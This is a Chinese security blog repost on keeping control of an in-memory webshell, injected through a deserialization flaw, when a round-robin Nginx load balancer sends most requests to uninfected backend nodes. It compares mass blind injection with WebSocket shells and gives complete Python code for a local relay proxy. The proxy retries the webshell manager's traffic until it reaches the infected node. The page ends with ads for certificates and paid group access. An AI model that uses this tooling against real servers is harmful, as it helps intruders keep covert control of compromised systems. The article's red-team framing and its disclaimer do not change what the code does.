负载均衡下打内存马的奇淫技巧

admin 2026-04-28 06:29:02 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档探讨了在负载均衡环境下连接内存马的技术难题,指出传统盲打注入和WebSocket内存马的局限性,提出通过Python构建中转代理服务器实现自动重试路由的解决方案。文章详细展示了实战场景中的Nginx轮询问题,并提供了完整的代理代码实现,最终验证该方法能有效穿透负载均衡限制。 综合评分: 85 文章分类: 渗透测试,红队,内网渗透,WEB安全,安全工具


cover_image

负载均衡下打内存马的奇淫技巧

ptr ptr

不秃头的安全

2026年3月23日 11:34 北京

在小说阅读器读本章

去阅读

负载均衡下打内存马的奇淫技巧

前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请私聊删除。
知识星球和交流群在最下方。
需要cn*d(中高)/c2n*d(高与支撑单位)/安全证书请联系vx咨询。

负载均衡下的内存马连接与利用,一直是渗透测试和红队评估中的进阶难点。

当目标系统前端存在Nginx、F5或云厂商的负载均衡器时,流量会被分发到后端多个服务器中。如果你只向其中一台服务器注入了内存马,当你尝试发送控制命令时,负载均衡器可能会将你的请求路由到未被感染的健康节点上,导致命令执行失败。

那目前有最简单暴力的方法时盲打全量注入,也就是批量发包来实现。其本质上时利用负载均衡的轮询或随机分发机制,发送数百上千次数据包,直到后端的每一个节点都被成功植入了内存马。

这种方法好是好,但是你红队评估完成后,客户要求你清理内存马,又开始头疼了。

有人提出用websocket内存马,这也是一种很好的解决方法。其本质上是利用了WebSocket协议在完成握手后,会建立一条持久的TCP长连接。负载均衡器在处理WebSocket时,会保持这条全双工通道的开启。

MemShellParty已经有了这种内存马,但似乎兼容性还有待提高,另一方面,不是所有的服务器都支持websocket协议的,所以这也不是一种通杀的方法。

我们来看一个具体的实战场景。

通过反序列化漏洞打入内存马后,通过冰蝎3进行连接。

冰蝎进行连接的时候,会触发两次连接,第一次连接成功命中节点有了回显,第二次连接由于Nginx的轮询机制,导致访问404。

那最后的结果就是连接失败。

不妨将这两个数据包发到重放模块中,具体观察下。

请求一次。

请求二次。

那我们就可以观察到,Nginx轮询两次一循环。

当然这只是针对当前攻防情景,大多数情况下,可能会有十次、甚至数十次。

那基于此种现象,我们可以有这样的想法:

做一个中转代理服务器,将webshell管理器流量导入到中转,如果响应200则返回,如果响应非200则由中转代为请求,直到响应200为止。

借助python我们可以搭起来一个简单的中转代理服务器。

import time
from http.server import BaseHTTPRequestHandler, HTTPServer
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

LISTEN_PORT = 8086# 本地监听端口
TARGET_URL = "http://ip:port/path"# 目标实际的内存马地址
MAX_RETRIES = 100# 最大重试次数
RETRY_DELAY = 0.1# 每次重试间隔(秒),避免请求过快被 WAF 拦截

class ProxyHTTPRequestHandler(BaseHTTPRequestHandler):
    def handle_proxy_request(self):
        content_length = int(self.headers.get('Content-Length', 0))
        post_data = self.rfile.read(content_length) if content_length > 0elseNone

        req_headers = {key: value for key, value in self.headers.items()}
        if'Host'in req_headers:
            del req_headers['Host']

        print(f"\n[*] 收到来自管理工具的请求,开始向目标盲打路由...")

        for attempt in range(1, MAX_RETRIES + 1):
            try:
                response = requests.request(
                    method=self.command,
                    url=TARGET_URL,
                    headers=req_headers,
                    data=post_data,
                    verify=False,
                    timeout=10,
                    allow_redirects=False
                )

                if response.status_code == 200:
                    print(f"[+] 第 {attempt} 次尝试: 成功命中被感染节点! (Status: 200)")

                    self.send_response(200)
                    for k, v in response.headers.items():
                        if k.lower() notin ['transfer-encoding', 'content-encoding', 'connection']:
                            self.send_header(k, v)
                    self.end_headers()
                    self.wfile.write(response.content)
                    return
                else:
                    print(f"[-] 第 {attempt} 次尝试: 命中健康节点 (Status: {response.status_code}),继续重试...")
                    time.sleep(RETRY_DELAY)

            except requests.exceptions.RequestException as e:
                print(f"[!] 网络请求异常: {e}")
                time.sleep(RETRY_DELAY)

        # 超过最大重试次数仍未命中
        print("[-] 达到最大重试次数,放弃当前请求。")
        self.send_response(502)
        self.end_headers()
        self.wfile.write(b"Bad Gateway: Reached max retries to find the infected node.")

    def do_GET(self):
        self.handle_proxy_request()

    def do_POST(self):
        self.handle_proxy_request()

    def log_message(self, format, *args):
        pass

if __name__ == '__main__':
    server_address = ('127.0.0.1', LISTEN_PORT)
    httpd = HTTPServer(server_address, ProxyHTTPRequestHandler)
    print(f"[*] 本地中转代理已启动: http://127.0.0.1:{LISTEN_PORT}")
    print(f"[*] 请将 Webshell 管理工具的 URL 设置为上述本地地址。")
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print("\n[*] 代理已停止。")
        httpd.server_close()

我们将环境配置好:

连接内存马:

可以看到通过这种机制,我们已经可以实现在负载均衡下进行连接内存马了。

方法虽然轻量,但足以破局。或许已有师傅看完此文,准备去重构自己的管理工具了。

每个难点都会有解决办法的,站点如此,我想人生也是;都说车灯最多只能照亮50米,但依旧可以走完全程。

我想我把眼前的事情做好,未来,我或许有机会,体验那句,拜水都江堰、问道青城山。

共勉…


参考文章:

1、https://party.mem.mk/ui/docs/middleware/tomcat-websocket#%E7%BB%95%E8%BF%87-nginx-%E6%88%96-cdn-%E9%99%90%E5%88%B6

2、https://mp.weixin.qq.com/s/tpXuZ6Vt6qGLDF6EEIvYPg 3、https://github.com/zema1/suo5

  • END –

📚 往期推荐 ChiXiao (赤霄)现代化红蓝攻防综合平台 FLUX-Web安全扫描工具 白盒审计获得CNVD证书的案例 飞牛私有云fnOS远程命令执行漏洞与文件读取漏洞【批量验证脚本】

关于我们:

感谢各位大佬们关注-不秃头的安全,后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖掘SRC思路等文章,同时会组织不定期抽奖,希望能得到各位的关注与支持,考证请加联系vx咨询。

1. 需要以下各类安全证书的可以联系~

①Cn*d,NCC,NVDB🀄️高漏洞证书

②CNNVD中高\漏洞情报\ 一二三级支撑单位均可协助获得

③CISP、PTE/PTS、CISP-DSG、IRE/IRS、NISP一二级、PMP、CCSK、CISSP/CCSP、CISAW各种类、CCRC\CCSC、itil、软考中高级、CDSP各种类、CISA,oscp等等巨优惠。ISO27001、ITss服务项目经理报名等下证即可,证书组团报更便宜,可对公,可开专普票。以下是其他全部证书

【腾讯文档】【信息安全 数据安全 IT认证证书】~不秃头的安全Vx:Meditation0723

https://docs.qq.com/doc/DZmtOckpOakJrcFVv?#

想加群下方二维码,群过期或群满加下方vx拉:

  1. 需要入星球的可以私聊优惠?
1、维护更新src、cnxd、cnnxd专项漏洞知识库,包含原理、挖掘技巧、实战案例
2、fafo/零零信安 高级会员key
3、最新POC通用报告详情分享思路
4、知识星球专属微信“内部圈子交流群”
5、攻防演练资源分享(免杀、溯源、钓鱼等)
6、新鲜工具分享
7、不定期有工作招聘内推(工作/护网内推)
8、19个专栏会持续更新~提前续费有优惠,好用不贵很实惠

3、其他合作(合法合规)

1、承接红蓝攻防、渗透、安全意识培训、基线核查及加固、应急响应、重保防守、代码审计等安全项目(须授权),需要攻防团队或岗位招聘都可代发、代招(灰黑勿扰);

2、各位安全老板需要文章推广的请私聊,承接合法合规推广文章发布,可直发、可按产品编辑推广;合作、推广代发、安全项目、岗位代招均可发布;

3、接受脱敏投稿,送一年知识星球及礼包。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:不秃头的安全 ptr ptr《负载均衡下打内存马的奇淫技巧》

评论:0   参与:  0